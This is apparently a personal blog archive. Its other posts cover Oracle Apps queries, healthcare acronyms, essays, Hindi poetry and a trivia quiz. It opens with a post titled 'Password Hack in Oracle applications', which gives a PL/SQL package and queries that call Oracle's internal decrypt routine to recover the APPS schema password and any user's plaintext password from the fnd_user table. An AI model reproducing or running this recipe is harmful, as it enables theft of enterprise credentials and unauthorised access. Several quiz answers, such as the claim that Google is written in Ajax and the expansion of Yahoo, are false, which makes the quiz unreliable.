The Genius

Monday, November 02, 2009

Password Hack in Oracle applications

--created Password cracking package
--
create or replace package get_pwd as
function decrypt(key in varchar2, value in varchar2)
return varchar2;
End get_pwd;

create or replace package body get_pwd as
function decrypt(key in varchar2, value in varchar2)
return varchar2 as
language javaname 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String)
return java.lang.String';
End get_pwd;
--


--Get the apps password
select
get_pwd.decrypt(upper((select upper(fnd_profile.VALUE'GUEST_USER_PWD' from dual)),
usertable.encrypted_foundation_password) apps_password
from fnd_user usertable
where usertable.user_name like
upper((select substr(fnd_profile.value('GUEST_USER_PWD',1, instr(fnd_profile.value('GUEST_USER_PWD'),'/')-1) from dual))
--

--'GUEST_USER_PWD' Profile
select fpov.profile_option_value, fpot.profile_option_name, fpot.descriptionfrom applsys.fnd_profile_options_TL fpot ,applsys.fnd_profile_options fpo ,applsys.fnd_profile_option_values fpovwhere fpov.profile_option_id = fpo.profile_option_id and fpo.profile_option_name = fpot.profile_option_name and fpo.profile_option_name = 'GUEST_USER_PWD'


--Get the password for any user
select fu.user_name,
(select get_pwd.decrypt((select get_pwd.decrypt(upper((select upper(fnd_profile.VALUE('GUEST_USER_PWD' )) from dual)) ,usertable.encrypted_foundation_password) apps_pwd
from fnd_user usertable
where usertable.user_name like upper((select substr(fnd_profile.value('GUEST_USER_PWD', 1, instr(fnd_profile.value('GUEST_USER_PWD'),'/')-1) from dual))),fu.encrypted_user_password) from dual) EP
from fnd_user fu
where fu.user_name like upper('&username')
--

Labels: , ,

Query to check the responsibilities to a user

select fusr.user_name,
fr.responsibility_name,
fu.DESCRIPTION,
fu.START_DATE,
fu.END_DATE,
fu.RESPONSIBILITY_APPLICATION_ID,
fu.RESPONSIBILITY_ID,
fu.SECURITY_GROUP_ID,
fu.LAST_UPDATE_DATE,
fu.LAST_UPDATED_BY,
fu.CREATED_BY,
fu.CREATION_DATE,
fu.LAST_UPDATE_LOGIN,
fu.USER_ID
from FND_USER_RESP_GROUPS_DIRECT fu,
fnd_responsibility_tl fr,
fnd_user fusr
where fu.RESPONSIBILITY_ID = fr.Responsibility_Id
and fu.user_id = fusr.user_id
and fusr.user_name = &usrname
and nvl(fu.end_date,'31-Dec-4712') > sysdate
order by fu.user_Id,fu.end_date

Labels: ,

Healthcare acronyms #1

ICD International Statistical Classification of Diseases and Related Health Problems
ICD-10 CM Diagnosis Coding System
ICD-10 PCS Procedure Classification System
JCAHO The Joint Commission, formerly the Joint Commission on Accreditation of Healthcare Organizations
NCQA National Committee for Quality Assurance
OCR Optical character recognition
DRG Diagnosis-related group
HCFA/CMS The Centers for Medicare and Medicaid Services (CMS), previously known as the Health Care Financing Administration (HCFA)
HEDIS The Healthcare Effectiveness Data and Information Set
PFS Patient Financial Specialist
TPA Third Party Administrator
VRU Voice Response Unit
EMR Electronic Medical Record
APC Ambulatory Payment Classifications
ASO Administrative Services Organization
UB04 Professional Paper Claim Submission form (Universal Billing)

ICD 10

What is ICD-10?
The International Statistical Classification of Diseases and Related Health Problems 10th Revision (ICD-10) is a coding of diseases and signs, symptoms, abnormal findings, complaints, social circumstances and external causes of injury or diseases, as classified by the World Health Organization (WHO).

When a physician evaluates a patient, the physician collects subjective and objective data (the "history and physical") to diagnose the patient’s condition and develop a plan for treatment. The most widely used diagnostic taxonomy in health care is the World Health Organization’s International Statistical Classification of Diseases and Related Health Problems (ICD).

Work on ICD-10 began in 1983 and was completed in 1992.

As of 2007, the United States is the only country in the industrialized world still using older ICD-9 codes for administration and health care delivery. The ICD-9 system was developed in the 1970s and contained structure/space limitations that constrained its ability to accommodate advances in medical knowledge and technology. ICD-10 codes address these issues and also help in morbidity and mortality reporting. Because the United States continues to use version ICD-9, it has difficulty comparing its health service utilization to other countries. Also, ICD-9’s age makes its content no longer clinically accurate with current medical science and U.S. adopted national/state ICD-10 mortality data cannot be compared to ICD-9..
ICD-10 is divided into two parts. One is ICD-10-CM, which defines the code set used to report inpatient and outpatient diagnoses (ICD-9 Volume 1 and 2). And the second is ICD-10-PCS for Procedure Coding System that defines the code set used to report inpatient procedures (ICD-9 Volume 3).

Labels:

Sunday, November 01, 2009

A thought provoking question on Justice and my answer

This is with regards to a question on justice
The question has more to it (as to how justice has different perceptions) and the answer is merely an act of deference and to my best a defence for justice...

There is a exquisite flute and there are three people from whom you need to chose one to give the flute.
The first one is who has made the flute. He took great care and pains to make the flute and thinks he deserves to own it.
The second one is a master at playing flutes. He generates exhilerating music from the flute and exceptionally talented with it. He thinks he deserves to own it.
The third one is a pauper who has had nothing in his life. The flute is the only thing that could make him happy atleast for a moment in his life. He wants to own it.

It you had that flute and had to give it to some one who would you justly give it to.

How would one justly decide as to who deserves the flue? All the three would be deserving in their own right. Perception of being just would differ from person to person...

My answer would be – Write 3 chits with each persons name on it. Put them all in a black box and pick out one chit. The flute goes to the person whose name is on the chit picked.

Here goes my explanation…..

In this world, I believe that there are only two persons known to me who are absolutely JUST
One is Mrs. Chance (luck/misfortune) and the other is Mr. Death. They are people who cannot be biased. Neither of them checks history. Both are futuristic.
The question posed to me is complex enough to be ‘justly’ deferred to an equally complex person Mrs. Chance. And that’s what I would do.


Really queer thoughts...nevermind!!

Leading Super Life

This is more about living life to my fullest and stretching myself beyond my capacity.

I have always wished to live life extra-ordinarily with all virtue possible. Always wanted to be exceptional and super (not to confuse with being outstanding where there is comparision with that others do, it is rather my intent to supercede what is out of my scope).

I could never come around my one limitation, i.e. could not be good at many things at a time. I reckon most of us are definitely good at one thing at a time. So what if we lead life in packets of time just like a chinese calendar having years of the ox, rabbit, dragon etc. What if I can tell myself that this year/month/week/day I would be living with a virtue or a set of virtues and fulfilling its expectation to the fullest. Idea here is to live life to its fullest realizable expectation which would otherwise not be possible. Live that packet of time to the fullest and to the best of your ability - dedicating a packet of time to a virtue that you cannot otherwise maintain through out your life . Live a complete year with unwavering sincerity and commitment or one full week with absolute honesty when you speak nothing but truth or a complete month with kindness and calm and when you are nothing but an exceptional individual. Thus living life in all it flavors and at the same time being the better than the best that you are.

You can be therefore be super through out the life. You need to give it a thought and organize yourself.

Thought for the day - 9/28/'09

Tuesday, December 26, 2006

Queries ORACLE APPS

QUERY for finding the concurrent program's request group

select
frt.responsibility_name "Responsibility",
fcpt.user_concurrent_program_name,
frg.request_group_name "Request Group",
frg.description
from
fnd_concurrent_programs_tl fcpt,
fnd_request_group_units frgu,
fnd_request_groups frg,
fnd_responsibility fr,
fnd_responsibility_tl frt
where
UPPER(fcpt.user_concurrent_program_name) LIKEUPPER('%GHP%CSR%PACKAGE%')
and frgu.request_unit_id = fcpt.concurrent_program_id
and frgu.unit_application_id = fcpt.application_id
and frg.request_group_id = frgu.request_group_id
and frg.application_id = frgu.application_id
and fr.request_group_id = frg.request_group_id
and fr.responsibility_id = frt.responsibility_idorder by 1

Sunday, October 15, 2006

SHAYARI COLLECTION

Tumhe hamari yaad kabhi to aati hogi
dil ki dhadkan bhi shayed bhar jati hogi
kitna chaha tha humne ke saath saath rahe
yeh soch kar tumhari bhi aankh bhar aati hogi

beete din ab wapas to nahi aa sakte
kho diya hai jo use to nahi pa sakte
dhool si hi rah gayi hai baki hawa mein
kash tumhe zindgi me phir se bhoola sakte

zindgi choti hai magar itni choti bhi nahi
Aankhen sookh gayi hai aur ab roti bhi nahi
zara zara si baton pe agar hum na jhagarte
to shayed yeh zindgi tumse juda hoti bhi nahi

tum nahi aaoge phir bhi rahta hai intzaar
kabhi kabhi baith jati hoon kar ke shringaar
tumhara bhi khana laga deti hoon aksar mez per
aur darwaze per daur kar jati hoon baar baar

agar bhoole se bhi kabhi hamari yaad aati ho
aur tan badan mein ek siharan si daur jati homere yaar
mere dil ke malik, pass chale aana
agar sooni sooni raten tumhe bahut satati ho

waise akele hi aaye hain aur akele hi jana hai
kaisa bhi ho bandhan ek din to toot jana hai
koi kitna bhi rahe pass ya kitna bhi rahe door
sukh dukh ka jalwa apne hi mann ka afasana hai

Monday, September 25, 2006

The Quizing Zone

1. What programming language is GOOGLE developed in? Cgi/perl

2. What is the expansion of YAHOO?

3. What is the expansion of ADIDAS?

4. Expansion of Star as in Star TV Network?

5. What is expansion of "ICICI?"

6. What does "baker's dozen" signify?

7. The 1984-85 season. 2nd ODI between India and Pakistan at Sialkot- India 210/3 with Vengsarkar 94*. Match abandoned. Why?

8. Who is the only man to have written the National Anthems for two different countries?

9. From what four word ex-pression does the word `goodbye` derive?

10. How was Agnes Gonxha Bojaxhiu better known?

11. Name the only other country to have got independence on Aug 15th?

12. Why was James Bond Associated with the Number 007?

13. Who faced the first ball in the first ever One day match?

14. Which cricketer played for South Africa before it was banned from international cricket and later represented Zimbabwe ?

15. The faces of which four Presidents are carved at Mt.Rushmore?

16. Which is the only country that is surrounded from all sides by only one country (other than Vatican )?

17. Which is the only sport which is not allowed to play left handed?

Answers
1. Google is written in Asynchronous java-script and XML, or its acronym Ajax.
2. Yet Another Hierarchy of Officious Oracle
3. ADIDAS- All Day I Dream About Sports
4. Satellite Television Asian Region
5. Industrial credit and Investments Corporation of India
6. A baker's dozen consists of 13 items - 1 more than the items in a normal dozen
7. That match was abandoned after ppl heard the news of indira gandhi being killed.
8. Rabindranath Tagore who wrote national anthem for two different countries one is our 's National anthem and another one is for Bangladesh-(Amar Sonar Bangla)
9. Goodbye comes from the ex-pression: 'god be with you'.
10. Agnes Gonxha Bojaxhiu is none other Mother Teresa.
11. South Korea.
12. Because 007 is the ISD code for Russia (or the USSR, as it was known during the cold war)
13. Geoffrey Boycott
14. John Traicos
15. George Washington, Thomas Jefferson, Theodore Roosevelt, and Abraham Lincoln
16. Lesotho surrounded from all sides by South Africa.
17. Polo.

Saturday, September 23, 2006

The Genius

Two sides of a coin - conventionality and Unorthodox.

This essay aims to address the Importance of conventionality.


An Indian rupee and a US dollar.

I had two coins in my collection, an Indian rupee and a US dollar coin. An Indian coin when flipped vertically in my palm gave an upside view of its head and tail, while the American one gave away a proper view. However, when flipped back, the US coin inverted. Hey! I thought, it was a smart thing by the Americans. The Americans seemed to have always represented themselves logically. On the other hand the Indian thinking reflected their conventionality.

Americans are technically what they are today by virtue of their embrace of rationality. By “technically”, I mean sophistication. America is a rich and beautiful country; it is a superpower and a secure state. It is a world leader. It is that country that bought about the halt of World WAR II by bombing Hiroshima and Nagasaki of Japan.
The twentieth century witnessed two horrific wars and both of them where halted with the intervention of USA. This country was indirectly responsible for the liberalization of many British colonies to their Independence, one among them being India. It is not mere eulogy that I am attributing to the Americans but truths that were witnessed globally in recent history. The American machinery is a juggernaut, be it the judicial system, the administrative system, the Industry and commerce or the foreign policy. America was liberated from imperialism in 1776, until now it has enjoyed its independence for 230 years. In these 230 years of Independence it has mutated to an unrivalled status of nationality. It had been unconventional and reaped huge benefits in all its technical installations and implementations (Constitution, Law, Industry, Commerce, Education, Research & Development etc.). But in the process of being unconventional it had to lose the goodies of conventionality. Even with a history of 230 years it lacks a profound tradition or culture. Today the thinking of the Americans or the west is so broad that they classify relations as an emotional or social need. They classify the intent for development and benevolence as a self-actuating need. There is always a classification for everything adhering to logic and normalizing something important and abstract. Here America is chosen to represent the west as a whole, though may not be apt.

There are times when logic is superseded. Logic fails to explain faith, belief and many moral attributes. Today, moral practices are viewed as ETHICS, set of rules that drive behavior, thinking and behavior are connected with psychology and many more like these. The essence of humanity declassified in the process.

VEDIC ESSENCE in brief

In ancient times as per the HINDU mythology battles were to be fought only during day, the wars never indulged atrocities on women, children and the weak, combats were always conventional, no one was to fight an unarmed man, none was to hit from behind, none was to be injured in the lower abdomen during a duel and all such conventions, sounding more like a protocol. But having broken it, the world has turned in to a daily battlefield that is all the more unfair and gruesome, thanks to aggression, imperialism, terrorism, extremism and again their counter wars. The ancient protocols or call them conventions have a meaning of their own. Breaking them might have endowed advantage but ultimately resulted the aftermath effects. Divergence from conventionality shall be fatal by the doctrines of Dharma. Today the world is at the verge of annihilation……weapons of mass destruction are ambient. Wars are unavoidable, but they are to be fought in a pattern. Crimes are unavoidable and they are to be dealt in a fashion. There is need for discipline in what ever we do and this in itself is a convention.

Today the sacrament of marriage is violated at a large scale thanks to the broader thinking of the west. The practice of a family is steadily culminating. People proudly state the culture of Americans where the children are made to lead Independent lives. The hierarchy of the family is disturbed and the roles of its members smeared. In traditional setup, the father is the head of the family who caters to the material needs of the family, the mother is the engine that propels the family it to its existence, the elders formed the bench for counsel, all in all everything was conventional and glorious. But today everything is preferred nuclear. Even India that has been immune to various cultural invasions so far is crumbling. India may be a place with kaccha roads and potholes no doubt, but was always a backdrop of healthy and happy traditions. Steadily everything seems to be vanishing.

Conventions may not be lucrative in nature but still they enforce a sort of disciple in humanity. Greed is a devastating entity, it can take many forms and one form is inevitably unconventionality.

Wisdom should be the driving force; the path can be either conventional or orthodox.

JAI HIND

Friday, September 01, 2006

The Genius

A new practise all Together

This blog though activated a long time back was idle for quiet a long time. Today onwards lets see some activity here.

Oracle Apps and Java

I was in search of some technologies that could realise my dreams and visions. My vision is to see this nation developed and transformed in conformance with the Information age. I wanted administration and governance that could be automated like in most developed nations.
Oracle Apps with java is that deadly combination that could bring about the transformation I dreamt of. Automation in administration and governance could solve lot of problems offcourse creating a few more in addition(however technical in nature). I will talk about them in greater detail while I am convergent with my mission.